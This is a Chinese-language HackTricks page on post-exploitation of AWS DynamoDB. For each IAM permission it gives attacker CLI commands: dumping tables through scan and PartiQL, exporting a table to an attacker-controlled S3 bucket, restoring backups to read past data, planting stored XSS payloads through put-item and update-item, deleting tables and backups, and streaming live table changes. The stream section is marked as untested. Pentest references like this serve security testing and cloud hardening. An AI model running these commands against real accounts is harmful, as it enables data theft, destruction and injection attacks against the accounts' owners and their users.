AWS - DynamoDB Post Exploitation

支持 HackTricks

DynamoDB

更多信息请查看:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

具有此权限的攻击者将能够通过主键从表中获取项目(你不能只请求表的所有数据)。这意味着你需要知道主键(你可以通过获取表的元数据 (describe-table) 来获得这些信息)。

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

潜在影响: 通过在表中查找敏感信息间接提升权限

dynamodb:GetItem

与之前的权限类似,此权限允许潜在攻击者在给定条目的主键的情况下,从一个表中读取值:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

有了这个权限,也可以使用 transact-get-items 方法,如下所示:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

潜在影响: 通过在表中查找敏感信息间接提升权限

dynamodb:Query

与之前的权限类似,此权限允许潜在攻击者在给定条目主键的情况下从单个表中读取值。它允许使用比较子集,但与必须出现的主键允许的唯一比较是“EQ”,因此无法使用比较在一次请求中获取整个数据库。

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

潜在影响: 通过在表中查找敏感信息间接提升权限

dynamodb:Scan

你可以使用此权限轻松地导出整个表

aws dynamodb scan --table-name <t_name> #Get data inside the table

潜在影响: 通过在表中查找敏感信息间接提升权限

dynamodb:PartiQLSelect

你可以使用此权限轻松导出整个表

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

这种权限还允许执行 batch-execute-statement,例如:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

但是你需要指定带有值的主键,所以它不是那么有用。

潜在影响: 通过在表中定位敏感信息间接提升权限

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

这个权限将允许攻击者将整个表导出到他选择的S3 bucket

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

注意,要使其工作,表需要启用时间点恢复,您可以通过以下方式检查表是否已启用:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

如果它没有启用,您将需要启用它,为此您需要**dynamodb:ExportTableToPointInTime**权限:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

潜在影响: 通过在表中查找敏感信息间接提升权限

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

有了这些权限,攻击者将能够从备份创建一个新表(甚至可以创建一个备份,然后在不同的表中恢复它)。然后,拥有必要的权限,他将能够检查备份中的信息,这些信息可能不再在生产表中

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

潜在影响: 通过在表备份中查找敏感信息间接提升权限

dynamodb:PutItem

此权限允许用户向表中添加新项目或用新项目替换现有项目。如果具有相同主键的项目已存在,整个项目将被新项目替换。如果主键不存在,将使用指定的主键创建新项目

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

潜在影响: 通过能够在 DynamoDB 表中添加/修改数据,进一步利用漏洞/绕过

dynamodb:UpdateItem

此权限允许用户修改项目的现有属性或向项目添加新属性。它不会替换整个项目;它只更新指定的属性。如果表中不存在主键,则操作将创建一个新项目,使用指定的主键并设置更新表达式中指定的属性。

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

潜在影响: 通过能够在DynamoDB表中添加/修改数据,进一步利用漏洞/绕过

dynamodb:DeleteTable

具有此权限的攻击者可以删除DynamoDB表,导致数据丢失

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

潜在影响:数据丢失和依赖被删除表的服务中断。

dynamodb:DeleteBackup

具有此权限的攻击者可以删除 DynamoDB 备份,在灾难恢复场景中可能导致数据丢失

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

潜在影响:数据丢失以及在灾难恢复场景中无法从备份中恢复。

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: 测试这是否真的有效

拥有这些权限的攻击者可以在 DynamoDB 表上启用流,更新表以开始流式传输更改,然后访问流以实时监控表的更改。这使得攻击者可以监控和外泄数据更改,可能导致数据泄漏。

  1. 在 DynamoDB 表上启用流:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. 描述流以获取ARN和其他详细信息:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. 使用 stream ARN 获取 shard iterator:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. 使用分片迭代器从流中访问和提取数据:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

潜在影响: 实时监控和DynamoDB表更改的数据泄漏。

支持HackTricks

Last updated